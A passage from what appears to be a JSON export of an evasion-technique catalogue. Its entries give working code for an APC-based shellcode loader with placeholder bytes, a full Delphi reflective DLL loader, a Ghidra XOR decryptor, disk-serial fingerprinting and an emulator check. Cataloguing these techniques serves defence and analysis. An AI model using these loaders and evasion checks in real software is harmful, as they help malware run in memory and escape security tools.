"plain_code": "format PE GUI 4.0\r\nentry main\r\n\r\ninclude 'win32w.inc'\r\n\r\nsection '.code' readable executable\r\n\r\n; **************************************************\r\n; * Code\r\nmain:\r\n ; VirtualAlloc()\r\n xor eax, eax ; NULL\r\n push PAGE_EXECUTE_READWRITE ; VirtualAlloc.flProtect\r\n push MEM_COMMIT or MEM_RESERVE ; VirtualAlloc.flAllocationType\r\n push [shellcode_length] ; VirtualAlloc.dwSize\r\n push eax ; VirtualAlloc.lpAddress\r\n call [VirtualAlloc]\r\n test eax, eax\r\n jz exit\r\n\r\n ; Copy Shellcode to Allocated Memory Region\r\n mov edi, eax ; Destination\r\n mov esi, shellcode ; Source\r\n mov ecx, [shellcode_length] ; Count\r\n rep movsb ; Copy\r\n mov esi, eax ; eax eq destination\r\n\r\n ; GetCurrentThread()\r\n call [GetCurrentThread]\r\n mov ebx, eax\r\n\r\n ; QueueUserAPC()\r\n xor eax, eax\r\n push eax ; QueueUserAPC.dwData\r\n push ebx ; QueueUserAPC.hThread (Current Thread)\r\n push esi ; QueueUserAPC.pfnAPC (Copied Shellcode)\r\n call [QueueUserAPC]\r\n test eax, eax\r\n jz exit\r\n\r\n ; NtTestAlert()\r\n call [NtTestAlert]\r\nexit:\r\n ; ExitProcess()\r\n xor eax, eax\r\n inc eax ; ExitCode = 1\r\n push eax ; ExitProcess.uExitCode\r\n call [ExitProcess]\r\n\r\n\r\n; **************************************************\r\n; * Data\r\nsection '.data' data readable\r\n\r\n; Replace with your own shellcode\r\nshellcode db 0xcc, 0x90, 0x90, 0x90, 0x90\r\n\r\nshellcode_length dd $ - shellcode\r\n\r\n; **************************************************\r\n; * Imports\r\nsection '.idata' import data readable\r\n\r\nlibrary kernel32, 'KERNEL32.dll',\\\r\n ntdll, 'NTDLL.DLL'\r\n\r\nimport kernel32,\\\r\n ExitProcess, 'ExitProcess',\\\r\n GetCurrentThread, 'GetCurrentThread',\\\r\n QueueUserAPC, 'QueueUserAPC',\\\r\n VirtualAlloc, 'VirtualAlloc'\r\n\r\nimport ntdll,\\\r\n NtTestAlert, 'NtTestAlert'"
},
{
"id": 210,
"language": {
"id": 3,
"label": "Python",
"code_class": "python"
},
"user": {
"id": 38,
"username": "irfan_eternal",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/irfan_eternal",
"website": null,
"github": "https://irfan-eternal.github.io/"
},
"technique": "https://unprotect.it/api/techniques/370/?format=api",
"description": "This Ghidra script decrypts shellcode by XORing each byte with a given key and writes the decrypted bytes back to a specified address in the program.",
"plain_code": "def decryptShellcode(size, xor_key, rva):\r\n va = rva + 0x400000\r\n va = hex(va)[2:]\r\n addr = toAddr(va)\r\n addr2 = addr\r\n enc = get_bytes(toAddr(va), size)\r\n for i in range(size):\r\n clearListing(addr2)\r\n addr2 = addr2.add(1)\r\n size2 = size\r\n for i in range(0,size):\r\n enc[i] = enc[i]^xor_key\r\n \r\n \r\n for i in enc:\r\n i = i & 0xFF\r\n setByte(addr, i)\r\n addr = addr.add(1)"
},
{
"id": 209,
"language": {
"id": 2,
"label": "C++",
"code_class": "cpp"
},
"user": {
"id": 36,
"username": "HoIIovv",
"email": "null@localhost",
"linkedin": "https://www.linkedin.com/in/nicola-bottura/",
"twitter": "https://twitter.com/HoIIovv",
"website": "https://nicolabottura.github.io/",
"github": null
},
"technique": "https://unprotect.it/api/techniques/368/?format=api",
"description": "This code retrieves and displays the serial number, model number, and firmware revision of a physical hard drive using Windows API calls.",
"plain_code": "#pragma once\r\n#define _CRT_SECURE_NO_WARNINGS\r\n#define no_init_all\r\n#include <Windows.h>\r\n#include <iostream>\r\n#include <iomanip>\t// For std::setw\r\n\r\n#define ErrorPrint(x) \\\r\n\tdo { \\\r\n\t\tstd::wcerr << \"Error at line \" << __LINE__ << \": \" << x << \" (Error code: \" << GetLastError() << \")\" << std::endl; \\\r\n\t} while (0)\r\n\r\n#define DRIVE\t\t\t\t\t0\t\t// Drive ID\r\n#define IDENTIFY_BUFFER_SIZE\t\t\t512\r\n#define ID_CMD\t\t\t\t\t0xEC\t// Returns ID sector for ATA\r\n\r\ntypedef struct _IDENTIFY_DATA\r\n{\r\n\tUSHORT GeneralConfiguration;\t\t// 00 00\r\n\tUSHORT NumberOfCylinders;\t\t// 02 1\r\n\tUSHORT Reserved1;\t\t\t// 04 2\r\n\tUSHORT NumberOfHeads;\t\t\t// 06 3\r\n\tUSHORT UnformattedBytesPerTrack;\t// 08 4\r\n\tUSHORT UnformattedBytesPerSector;\t// 0A 5\r\n\tUSHORT SectorsPerTrack;\t\t\t// 0C 6\r\n\tUSHORT VendorUnique1[3];\t\t// 0E 7-9\r\n\tUSHORT SerialNumber[10];\t\t// 14 10-19\r\n\tUSHORT BufferType;\t\t\t// 28 20\r\n\tUSHORT BufferSectorSize;\t\t// 2A 21\r\n\tUSHORT NumberOfEccBytes;\t\t// 2C 22\r\n\tUSHORT FirmwareRevision[4];\t\t// 2E 23-26\r\n\tUSHORT ModelNumber[20];\t\t\t// 36 27-46\r\n\tUCHAR MaximumBlockTransfer;\t\t// 5E 47\r\n\tUCHAR VendorUnique2;\t\t\t// 5F\r\n\tUSHORT DoubleWordIo;\t\t\t// 60 48\r\n\tUSHORT Capabilities;\t\t\t// 62 49\r\n\tUSHORT Reserved2;\t\t\t// 64 50\r\n\tUCHAR VendorUnique3;\t\t\t// 66 51\r\n\tUCHAR PioCycleTimingMode;\t\t// 67\r\n\tUCHAR VendorUnique4;\t\t\t// 68 52\r\n\tUCHAR DmaCycleTimingMode;\t\t// 69\r\n\tUSHORT TranslationFieldsValid : 1;\t// 6A 53\r\n\tUSHORT Reserved3 : 15;\r\n\tUSHORT NumberOfCurrentCylinders;\t// 6C 54\r\n\tUSHORT NumberOfCurrentHeads;\t\t// 6E 55\r\n\tUSHORT CurrentSectorsPerTrack;\t\t// 70 56\r\n\tULONG CurrentSectorCapacity;\t\t// 72 57-58\r\n\tUSHORT CurrentMultiSectorSetting;\t// 59\r\n\tULONG UserAddressableSectors;\t\t// 60-61\r\n\tUSHORT SingleWordDMASupport : 8;\t// 62\r\n\tUSHORT SingleWordDMAActive : 8;\r\n\tUSHORT MultiWordDMASupport : 8;\t\t// 63\r\n\tUSHORT MultiWordDMAActive : 8;\r\n\tUSHORT AdvancedPIOModes : 8;\t\t// 64\r\n\tUSHORT Reserved4 : 8;\r\n\tUSHORT MinimumMWXferCycleTime;\t\t// 65\r\n\tUSHORT RecommendedMWXferCycleTime;\t// 66\r\n\tUSHORT MinimumPIOCycleTime;\t\t// 67\r\n\tUSHORT MinimumPIOCycleTimeIORDY;\t// 68\r\n\tUSHORT Reserved5[2];\t\t\t\t// 69-70\r\n\tUSHORT ReleaseTimeOverlapped;\t\t// 71\r\n\tUSHORT ReleaseTimeServiceCommand;\t// 72\r\n\tUSHORT MajorRevision;\t\t\t// 73\r\n\tUSHORT MinorRevision;\t\t\t// 74\r\n\tUSHORT Reserved6[50];\t\t\t// 75-126\r\n\tUSHORT SpecialFunctionsEnabled;\t\t// 127\r\n\tUSHORT Reserved7[128];\t\t\t// 128-255\r\n} IDENTIFY_DATA, *PIDENTIFY_DATA;\r\n\r\nvoid PrintDriveInfo(int iDrive, DWORD diskData[256]);\r\nchar *ConvertToString(DWORD diskData[256], int iFirstIndex, int iLastIndex, char *pcszBuf);\r\n\r\n\r\nint main(int argc, char *argv[])\r\n{\r\n\tchar driveName[MAX_PATH];\r\n\tsprintf(driveName, \"\\\\\\\\.\\\\PhysicalDrive%d\", DRIVE);\r\n\r\n\t// Get handle of the physical drive\r\n\tHANDLE hDrive = CreateFileA(driveName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);\r\n\r\n\t// Check the validity of the file handle\r\n\tif (hDrive == INVALID_HANDLE_VALUE)\r\n\t{\r\n\t\tErrorPrint(L\"CreateFile\");\r\n\t\texit(1);\r\n\t}\r\n\t\r\n\t// Prepare the command buffer\r\n\tULONG CommandSize = sizeof(SENDCMDINPARAMS) + IDENTIFY_BUFFER_SIZE;\r\n\tPSENDCMDINPARAMS Command = (PSENDCMDINPARAMS)malloc(CommandSize);\r\n\t// Prepare the command\r\n\tCommand->irDriveRegs.bCommandReg = ID_CMD;\r\n\r\n\tDWORD bytesReturned = 0;\r\n\t// Retrieve IDENTIFY data\r\n\tif (DeviceIoControl(hDrive,\r\n\t\tSMART_RCV_DRIVE_DATA, // 0x7C088\r\n\t\tCommand,\r\n\t\tsizeof(SENDCMDINPARAMS),\r\n\t\tCommand,\r\n\t\tCommandSize,\r\n\t\t&bytesReturned,\r\n\t\tNULL))\r\n\t{\r\n\t\t// Print the IDENTIFY data\r\n\t\tDWORD diskData[256]; // 256 is the IDENTIFY_DATA structure's size\r\n\t\tUSHORT *punIdSector = (USHORT *)(PIDENTIFY_DATA)((PSENDCMDOUTPARAMS)Command)->bBuffer;\r\n\t\tfor (int i = 0; i < 256; i++)\r\n\t\t\tdiskData[i] = punIdSector[i];\r\n\r\n\t\tPrintDriveInfo(0, diskData);\r\n\t}\r\n\telse ErrorPrint(L\"DeviceIoControl (SMART_RCV_DRIVE_DATA)\");\r\n\r\n\tCloseHandle(hDrive);\r\n}\r\n\r\nvoid PrintDriveInfo(int iDrive, DWORD diskData[256])\r\n{\r\n\tchar serialNumber[1024];\r\n\tchar modelNumber[1024];\r\n\tchar revisionNumber[1024];\r\n\r\n\t// Copy the hard drive serial, model, and revision number to respective buffer\r\n\tConvertToString(diskData, 10, 19, serialNumber);\r\n\tConvertToString(diskData, 27, 46, modelNumber);\r\n\tConvertToString(diskData, 23, 26, revisionNumber);\r\n\r\n\tstd::cout << \"------------------------ [Drive \" << DRIVE << \"] ------------------------\" << std::endl;\r\n\tstd::cout << std::left << std::setw(35) << \"Drive Serial Number________________ : [\" << serialNumber << \"]\\n\";\r\n\tstd::cout << std::left << std::setw(35) << \"Drive Model Number_________________ : [\" << modelNumber << \"]\\n\";\r\n\tstd::cout << std::left << std::setw(35) << \"Drive Controller Revision Number___ : [\" << revisionNumber << \"]\\n\";\r\n\t\r\n\tstd::cout << \"Drive Type_________________________ : [\";\r\n\tif (diskData[0] & 0x0080)\r\n\t\tstd::cout << \"Removable]\\n\";\r\n\telse if (diskData[0] & 0x0040)\r\n\t\tstd::cout << \"Fixed]\\n\";\r\n\telse\r\n\t\tstd::cout << \"Unknown]\\n\";\r\n}\r\n\r\nchar *ConvertToString(DWORD diskData[256], int iFirstIndex, int iLastIndex, char *pcszBuf)\r\n{\r\n\tint index = 0;\r\n\tint position = 0;\r\n\r\n\t// NOTE: each integer has two characters stored in it backwards\r\n\tfor (index = iFirstIndex; index <= iLastIndex; index++)\r\n\t{\r\n\t\t// Get high byte for 1st character\r\n\t\tpcszBuf[position++] = (char)(diskData[index] / 256); // / 256 = >> 8\r\n\t\t// Get low byte for 2nd character\r\n\t\tpcszBuf[position++] = (char)(diskData[index] % 256); // ^ 256 = & 0xFF\r\n\t}\r\n\r\n\t// End the string and cut off trailing blanks\r\n\tpcszBuf[position] = '\\0';\r\n\tfor (index = position - 1; index > 0 && isspace(pcszBuf[index]); index--)\r\n\t\tpcszBuf[index] = '\\0';\r\n\r\n\treturn pcszBuf;\r\n}"
},
{
"id": 208,
"language": {
"id": 10,
"label": "C",
"code_class": "C"
},
"user": {
"id": 35,
"username": "Huntress Research Team",
"email": "null@localhost",
"linkedin": null,
"twitter": "https://twitter.com/HuntressLabs",
"website": null,
"github": null
},
"technique": "https://unprotect.it/api/techniques/367/?format=api",
"description": "This code compiles a C program on Windows that tests if it's running in an emulation environment by attempting to configure a bogus device string with BuildCommDCBAndTimeouts; if the call succeeds, it terminates the program, suggesting it might not be running on a genuine Windows system.",
"plain_code": "// $ x86_64-w64-mingw32-gcc -o main.exe main.c\r\n\r\n#include <windows.h>\r\n#include <stdio.h>\r\n\r\nint main()\r\n{\r\n printf(\"[*] Running...\\n\");\r\n HANDLE currentProcess;\r\n\r\n // If we pass a bogus device string into this API call, the return value should always be zero to indicate failure.\r\n // The hypothesis here is that if this API call ever succeeds, it is in some kind of emulation environment that will allow a bogus device string.\r\n // https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-buildcommdcbandtimeoutsa\r\n\r\n // device string from the POC: \"jhl46745fghb\"\r\n // properly formatted device string: \"COM1:9600,n,8,1\"\r\n if (BuildCommDCBAndTimeouts(\"jhl46745fghb\", NULL, NULL))\r\n {\r\n printf(\"[*] Nope.\\n\");\r\n currentProcess = GetCurrentProcess();\r\n TerminateProcess(currentProcess, 0);\r\n }\r\n\r\n printf(\"[+] Boom!\\n\");\r\n\r\n return 0;\r\n}"
},
{
"id": 207,
"language": {
"id": 1,
"label": "Delphi",
"code_class": "Delphi"
},
"user": {
"id": 4,
"username": "DarkCoderSc",
"email": "jplesueur@proton.me",
"linkedin": "https://www.linkedin.com/in/jlesueur/",
"twitter": "https://www.twitter.com/darkcodersc",
"website": "https://www.phrozen.io/",
"github": "https://github.com/DarkCoderSc"
},
"technique": "https://unprotect.it/api/techniques/110/?format=api",
"description": "Here is a short example demonstrating the reflective loading of a Dynamic Link Library (DLL) into memory, whether sourced from disk or memory (supporting streams). This approach supports both 32-bit (PE) and 64-bit (PE+) DLLs. The technique enables the loading of exported functions either by their ordinal value or by the exported function name.",
"plain_code": "program DLLReflector;\r\n\r\n// DLL Reflection with both 32 and 64-bit support.\r\n// www.unprotect.it\r\n// @DarkCoderSc\r\n\r\nuses\r\n Winapi.Windows,\r\n System.Classes,\r\n System.SysUtils;\r\n\r\nconst\r\n IMAGE_REL_BASED_DIR64 = 10;\r\n\r\ntype\r\n TImageBaseRelocation = record\r\n VirtualAddress : DWORD;\r\n SizeOfBlock : DWORD;\r\n end;\r\n PImageBaseRelocation = ^TImageBaseRelocation;\r\n\r\n TImageOptionalHeader =\r\n {$IFDEF WIN64}\r\n TImageOptionalHeader64\r\n {$ELSE}\r\n TImageOptionalHeader32\r\n {$ENDIF};\r\n PImageOptionalHeader = ^TImageOptionalHeader;\r\n\r\n TImageThunkData =\r\n {$IFDEF WIN64}\r\n TImageThunkData64\r\n {$ELSE}\r\n TImageThunkData32\r\n {$ENDIF};\r\n PImageThunkData = ^TImageThunkData;\r\n\r\n PRelocationInfo =\r\n {$IFDEF WIN64}\r\n PCardinal\r\n {$ELSE}\r\n PWord\r\n {$ENDIF};\r\n\r\n TNTSignature = DWORD;\r\n PNTSignature = ^TNTSignature;\r\n\r\n TPEHeader = record\r\n pImageBase : Pointer;\r\n\r\n // Main Headers\r\n _pImageDosHeader : PImageDosHeader;\r\n _pNTSignature : PNTSignature;\r\n _pImageFileHeader : PImageFileHeader;\r\n _pImageOptionalHeader : PImageOptionalHeader;\r\n _pImageSectionHeader : PImageSectionHeader;\r\n\r\n // Sections Headers\r\n SectionHeaderCount : Cardinal;\r\n pSectionHeaders : array of PImageSectionHeader;\r\n end;\r\n\r\n TPEHeaderDirectories = record\r\n _pImageExportDirectory : PImageExportDirectory;\r\n end;\r\n\r\n{ _.RVAToVA }\r\nfunction RVAToVA(const pImageBase : Pointer; const ARelativeVirtualAddress : NativeUInt) : Pointer;\r\nbegin\r\n result := Pointer(NativeUInt(pImageBase) + ARelativeVirtualAddress);\r\nend;\r\n\r\n{ _.IdentifyPEHeader }\r\nfunction IdentifyPEHeader(const pImageBase : Pointer) : TPEHeader;\r\nvar\r\n pOffset : Pointer;\r\n _pImageSectionHeader : PImageSectionHeader;\r\n I : Cardinal;\r\n\r\n procedure IncOffset(const AIncrement : Cardinal);\r\n begin\r\n pOffset := Pointer(NativeUInt(pOffset) + AIncrement);\r\n end;\r\n\r\nbegin\r\n ZeroMemory(@result, SizeOf(TPEheader));\r\n ///\r\n\r\n if not Assigned(pImageBase) then\r\n Exit();\r\n\r\n result.pImageBase := pImageBase;\r\n\r\n pOffset := result.pImageBase;\r\n\r\n // Read and validate Library PE Header\r\n result._pImageDosHeader := pOffset;\r\n\r\n if (result._pImageDosHeader.e_magic <> IMAGE_DOS_SIGNATURE) then\r\n Exit();\r\n\r\n IncOffset(result._pImageDosHeader^._lfanew);\r\n\r\n if (PNTSignature(pOffset)^ <> IMAGE_NT_SIGNATURE) then\r\n Exit();\r\n\r\n IncOffset(SizeOf(TNTSignature));\r\n\r\n result._pImageFileHeader := pOffset;\r\n\r\n IncOffset(SizeOf(TImageFileHeader));\r\n\r\n result._pImageOptionalHeader := pOffset;\r\n\r\n IncOffset(SizeOf(TImageOptionalHeader));\r\n\r\n // Read and register section headers\r\n result.SectionHeaderCount := result._pImageFileHeader^.NumberOfSections;\r\n\r\n SetLength(result.pSectionHeaders, result.SectionHeaderCount);\r\n\r\n for I := 0 to result.SectionHeaderCount -1 do begin\r\n _pImageSectionHeader := pOffset;\r\n try\r\n result.pSectionHeaders[I] := _pImageSectionHeader;\r\n finally\r\n IncOffset(SizeOf(TImageSectionHeader));\r\n end;\r\n end;\r\nend;\r\n\r\n{ _.IdentifyPEHeaderDirectories }\r\nfunction IdentifyPEHeaderDirectories(const APEHeader : TPEHeader) : TPEHeaderDirectories;\r\nvar AVirtualAddress : Cardinal;\r\nbegin\r\n ZeroMemory(@result, SizeOf(TPEHeaderDirectories));\r\n ///\r\n\r\n // Identify Export Directory\r\n AVirtualAddress := APEHeader._pImageOptionalHeader^.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;\r\n\r\n result._pImageExportDirectory := Pointer(NativeUInt(APEHeader.pImageBase) + AVirtualAddress);\r\nend;\r\n\r\n{ _.ResolveImportTable }\r\nprocedure ResolveImportTable(const APEHeader : TPEHeader);\r\nvar _pImageDataDirectory : PImageDataDirectory;\r\n _pImageImportDescriptor : PImageImportDescriptor;\r\n hModule : THandle;\r\n _pImageOriginalThunkData : PImageThunkData;\r\n _pImageFirstThunkData : PImageThunkData;\r\n pFunction : Pointer;\r\n pProcName : Pointer;\r\n\r\n function RVA(const Offset : NativeUInt) : Pointer;\r\n begin\r\n result := Pointer(NativeUInt(APEHeader.pImageBase) + Offset);\r\n end;\r\n\r\nbegin\r\n _pImageDataDirectory := @APEHeader._pImageOptionalHeader^.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];\r\n if _pImageDataDirectory^.Size = 0 then\r\n Exit();\r\n\r\n _pImageImportDescriptor := RVA(_pImageDataDirectory^.VirtualAddress);\r\n\r\n while _pImageImportDescriptor^.Name <> 0 do begin\r\n try\r\n hModule := LoadLibraryA(RVA(_pImageImportDescriptor^.Name));\r\n if hModule = 0 then\r\n continue;\r\n try\r\n\r\n if _pImageImportDescriptor^.OriginalFirstThunk <> 0 then\r\n _pImageOriginalThunkData := RVA(_pImageImportDescriptor^.OriginalFirstThunk)\r\n else\r\n _pImageOriginalThunkData := RVA(_pImageImportDescriptor^.FirstThunk);\r\n\r\n _pImageFirstThunkData := RVA(_pImageImportDescriptor^.FirstThunk);\r\n\r\n if not Assigned(_pImageOriginalThunkData) then\r\n continue;\r\n\r\n while _pImageOriginalThunkData^.AddressOfData <> 0 do begin\r\n try\r\n if (_pImageOriginalThunkData^.Ordinal and IMAGE_ORDINAL_FLAG) <> 0 then\r\n pProcName := MAKEINTRESOURCE(_pImageOriginalThunkData^.Ordinal and $FFFF)\r\n else\r\n pProcName := RVA(_pImageOriginalThunkData^.AddressOfData + SizeOf(Word));\r\n\r\n pFunction := GetProcAddress(\r\n hModule,\r\n PAnsiChar(pProcName)\r\n );\r\n\r\n if not Assigned(pFunction) then\r\n continue;\r\n\r\n _pImageFirstThunkData^._Function := NativeUInt(pFunction);\r\n finally\r\n Inc(_pImageOriginalThunkData);\r\n Inc(_pImageFirstThunkData);\r\n end;\r\n end;\r\n finally\r\n FreeLibrary(hModule);\r\n end;\r\n finally\r\n Inc(_pImageImportDescriptor);\r\n end;\r\n end;\r\nend;\r\n\r\n{ _.PerformBaseRelocation }\r\nprocedure PerformBaseRelocation(const APEHeader: TPEHeader; const ADelta: NativeUInt);\r\nvar\r\n I : Cardinal;\r\n _pImageDataDirectory : PImageDataDirectory;\r\n pRelocationTable : PImageBaseRelocation;\r\n pRelocationAddress : Pointer;\r\n\r\n pRelocInfo : PRelocationInfo;\r\n\r\n pRelocationType : Integer;\r\n pRelocationOffset : NativeUInt;\r\n ARelocationCount : Cardinal;\r\n\r\nconst\r\n IMAGE_SIZEOF_BASE_RELOCATION = 8;\r\n IMAGE_REL_BASED_HIGH = 1;\r\n IMAGE_REL_BASED_LOW = 2;\r\n IMAGE_REL_BASED_HIGHLOW = 3;\r\nbegin\r\n _pImageDataDirectory := @APEHeader._pImageOptionalHeader^.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];\r\n if _pImageDataDirectory^.Size = 0 then\r\n Exit();\r\n\r\n pRelocationTable := RVAToVA(APEHeader.pImageBase, _pImageDataDirectory^.VirtualAddress);\r\n\r\n while pRelocationTable^.VirtualAddress > 0 do begin\r\n pRelocationAddress := RVAToVA(APEHeader.pImageBase, pRelocationTable^.VirtualAddress);\r\n pRelocInfo := RVAToVA(pRelocationTable, IMAGE_SIZEOF_BASE_RELOCATION);\r\n\r\n ARelocationCount := (pRelocationTable^.SizeOfBlock - SizeOf(TImageBaseRelocation)) div SizeOf(Word);\r\n\r\n for I := 0 to ARelocationCount -1 do begin\r\n pRelocationType := (pRelocInfo^ shr 12);\r\n pRelocationOffset := pRelocInfo^ and $FFF;\r\n\r\n case pRelocationType of\r\n IMAGE_REL_BASED_HIGHLOW, IMAGE_REL_BASED_DIR64:\r\n Inc(PNativeUInt(NativeUInt(pRelocationAddress) + pRelocationOffset)^, ADelta);\r\n\r\n IMAGE_REL_BASED_HIGH:\r\n Inc(PNativeUInt(NativeUInt(pRelocationAddress) + pRelocationOffset)^, HiWord(ADelta));\r\n\r\n IMAGE_REL_BASED_LOW:\r\n Inc(PNativeUInt(NativeUInt(pRelocationAddress) + pRelocationOffset)^, LoWord(ADelta));\r\n end;\r\n\r\n Inc(pRelocInfo);\r\n end;\r\n\r\n ///\r\n pRelocationTable := Pointer(NativeUInt(pRelocationTable) + pRelocationTable^.SizeOfBlock);\r\n end;\r\nend;\r\n\r\n{ _.ReflectLibraryFromMemory }\r\nfunction ReflectLibraryFromMemory(const pSourceBuffer : Pointer; const ABufferSize : UInt) : Pointer;\r\nvar pOffset : Pointer;\r\n ASourcePEHeader : TPEHeader;\r\n ADestPEHeader : TPEHeader;\r\n pImageBase : Pointer;\r\n _pImageSectionHeader : PImageSectionHeader;\r\n I : Cardinal;\r\n ADelta : UInt64;\r\n\r\nbegin\r\n result := nil;\r\n ///\r\n\r\n ASourcePEHeader := IdentifyPEHeader(pSourceBuffer);\r\n\r\n {$IFDEF WIN64}\r\n if (ASourcePEHeader._pImageFileHeader^.Machine <> IMAGE_FILE_MACHINE_AMD64) then\r\n {$ELSE}\r\n if (ASourcePEHeader._pImageFileHeader^.Machine <> IMAGE_FILE_MACHINE_I386) then\r\n {$ENDIF}\r\n raise Exception.Create('You must load a DLL with same architecture as current process!');\r\n \r\n\r\n // Create a memory region that will contain our Library code\r\n // We then patch our TPEHeader structure with new image base\r\n pImageBase := VirtualAlloc(nil, ASourcePEHeader._pImageOptionalHeader^.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n if not Assigned(pImageBase) then\r\n Exit();\r\n\r\n // Write Library headers to allocated region\r\n CopyMemory(pImageBase, pSourceBuffer, ASourcePEHeader._pImageOptionalHeader.SizeOfHeaders);\r\n\r\n // Write Library sections code to allocated region\r\n for I := 0 to ASourcePEHeader.SectionHeaderCount -1 do begin\r\n _pImageSectionHeader := ASourcePEHeader.pSectionHeaders[I];\r\n\r\n pOffset := Pointer(NativeUInt(pImageBase) + _pImageSectionHeader^.VirtualAddress);\r\n\r\n // Pad new allocated region with zeros\r\n ZeroMemory(pOffset, _pImageSectionHeader^.Misc.VirtualSize);\r\n\r\n // Copy section content from buffer to freshly allocated region\r\n CopyMemory(\r\n pOffset,\r\n Pointer(NativeUInt(pSourceBuffer) + _pImageSectionHeader^.PointerToRawData),\r\n _pImageSectionHeader^.SizeOfRawData\r\n );\r\n end;\r\n\r\n // Calculate the distance between default library expected image base and mapped library image base\r\n // Used for relocation\r\n ADelta := NativeUInt(pImageBase) - NativeUInt(ASourcePEHeader._pImageOptionalHeader.ImageBase);\r\n\r\n // Point to new image header\r\n ADestPEHeader := IdentifyPEHeader(pImageBase);\r\n\r\n // Patch new image header image base value\r\n ADestPEHeader._pImageOptionalHeader^.ImageBase := NativeUInt(pImageBase);\r\n\r\n // Resolve import table, load required libraries and exported functions\r\n ResolveImportTable(ADestPEHeader);\r\n\r\n // Perform Image Base Relocation since it differs from target library PE Header expectation\r\n if ADelta <> 0 then\r\n PerformBaseRelocation(ADestPEHeader, ADelta);\r\n\r\n ///\r\n result := pImageBase;\r\nend;\r\n\r\n{ _.GetReflectedProcAddress }\r\nfunction GetReflectedProcAddress(const pImageBase : Pointer; const AFunctionOrOrdinal : String) : Pointer;\r\nvar APEHeader : TPEHeader;\r\n APEHeaderDirectories : TPEHeaderDirectories;\r\n I : Cardinal;\r\n pOffset : PCardinal;\r\n pOrdinal : PWord;\r\n pFuncAddress : PCardinal;\r\n\r\n pAddrOfNameOrdinals : Pointer;\r\n pAddrOfFunctions : Pointer;\r\n pAddrOfNames : Pointer;\r\n\r\n ACurrentName : String;\r\n AOrdinalCandidate : Integer;\r\n ACurrentOrdinal : Word;\r\n AResolveByName : Boolean;\r\n\r\nbegin\r\n result := nil;\r\n ///\r\n\r\n if not Assigned(pImageBase) then\r\n Exit();\r\n\r\n APEHeader := IdentifyPEHeader(pImageBase);\r\n APEHeaderDirectories := IdentifyPEHeaderDirectories(APEHeader);\r\n\r\n for I := 0 to APEHeaderDirectories._pImageExportDirectory^.NumberOfNames -1 do begin\r\n pAddrOfNameOrdinals := Pointer(NativeUInt(APEHeader.pImageBase) + APEHeaderDirectories._pImageExportDirectory^.AddressOfNameOrdinals);\r\n pAddrOfFunctions := Pointer(NativeUInt(APEHeader.pImageBase) + APEHeaderDirectories._pImageExportDirectory^.AddressOfFunctions);\r\n pAddrOfNames := Pointer(NativeUInt(APEHeader.pImageBase) + APEHeaderDirectories._pImageExportDirectory^.AddressOfNames);\r\n\r\n AResolveByName := False;\r\n if not TryStrToInt(AFunctionOrOrdinal, AOrdinalCandidate) then\r\n AResolveByName := True;\r\n\r\n if (AOrdinalCandidate < Low(Word)) or (AOrdinalCandidate > High(Word)) and not AResolveByName then\r\n AResolveByName := True;\r\n\r\n // Function Name\r\n pOffset := Pointer(NativeUInt(pAddrOfNames) + (I * SizeOf(Cardinal)));\r\n ACurrentName := String(PAnsiChar(NativeUInt(pImageBase) + pOffset^));\r\n\r\n // Ordinal\r\n ACurrentOrdinal := PWord(NativeUInt(pAddrOfNameOrdinals) + (I * SizeOf(Word)))^;\r\n\r\n if AResolveByName then begin\r\n if (String.Compare(ACurrentName, AFunctionOrOrdinal, True) <> 0) then\r\n continue;\r\n end else begin\r\n if (ACurrentOrdinal + APEHeaderDirectories._pImageExportDirectory^.Base) <> AOrdinalCandidate then\r\n continue;\r\n end;\r\n\r\n // Resolve Function Address\r\n pFuncAddress := PCardinal(NativeUInt(pAddrOfFunctions) + (ACurrentOrdinal * SizeOf(Cardinal)));\r\n\r\n result := Pointer(NativeUInt(pImageBase) + pFuncAddress^);\r\n\r\n break;\r\n end;\r\nend;\r\n\r\n{ _.ReflectLibraryFromFile }\r\nfunction ReflectLibraryFromFile(const AFileName : String) : Pointer;\r\nvar AFileStream : TFileStream;\r\n pBuffer : Pointer;\r\n ASize : Int64;\r\nbegin\r\n result := nil;\r\n ///\r\n\r\n AFileStream := TFileStream.Create(AFileName, fmOpenRead or fmShareDenyWrite);\r\n try\r\n AFileStream.Position := 0;\r\n ///\r\n\r\n ASize := AFileStream.Size;\r\n\r\n GetMem(pBuffer, ASize);\r\n\r\n AFileStream.ReadBuffer(PByte(pBuffer)^, ASize);\r\n\r\n result := ReflectLibraryFromMemory(pBuffer, ASize);\r\n finally\r\n if Assigned(AFileStream) then\r\n FreeAndNil(AFileStream);\r\n end;\r\nend;\r\n\r\n{ _.ReflectFromMemoryStream }\r\nfunction ReflectFromMemoryStream(const AStream : TMemoryStream) : Pointer;\r\nbegin\r\n result := nil;\r\n ///\r\n\r\n if not Assigned(AStream) then\r\n Exit();\r\n\r\n if AStream.Size = 0 then\r\n Exit();\r\n\r\n result := ReflectLibraryFromMemory(AStream.Memory, AStream.Size);\r\nend;\r\n\r\n// Example (Update Code Accordingly)\r\nvar pReflectedModuleBase : Pointer;\r\n pReflectedMethod : procedure(); stdcall;\r\nbegin\r\n pReflectedModuleBase := ReflectLibraryFromFile('test.dll');\r\n\r\n // Through Function Name\r\n @pReflectedMethod := GetReflectedProcAddress(pReflectedModuleBase, 'ModuleAction');\r\n if Assigned(pReflectedMethod) then\r\n pReflectedMethod();\r\n\r\n // Through Exported Function Ordinal\r\n @pReflectedMethod := GetReflectedProcAddress(pReflectedModuleBase, '3');\r\n if Assigned(pReflectedMethod) then\r\n pReflectedMethod();\r\n\r\nend."
},
{
"id": 206,
"language": {
"id": 1,
"label": "Delphi",
"code_class": "Delphi"
},
"user": {
"id": 4,
"username": "DarkCoderSc",
"email": "jplesueur@proton.me",
"linkedin": "https://www.linkedin.com/in/jlesueur/",
"twitter": "https://www.twitter.com/darkcodersc",
"website": "https://www.phrozen.io/",
"github": "https://github.com/DarkCoderSc"
},
"technique": "https://unprotect.it/api/techniques/357/?format=api",
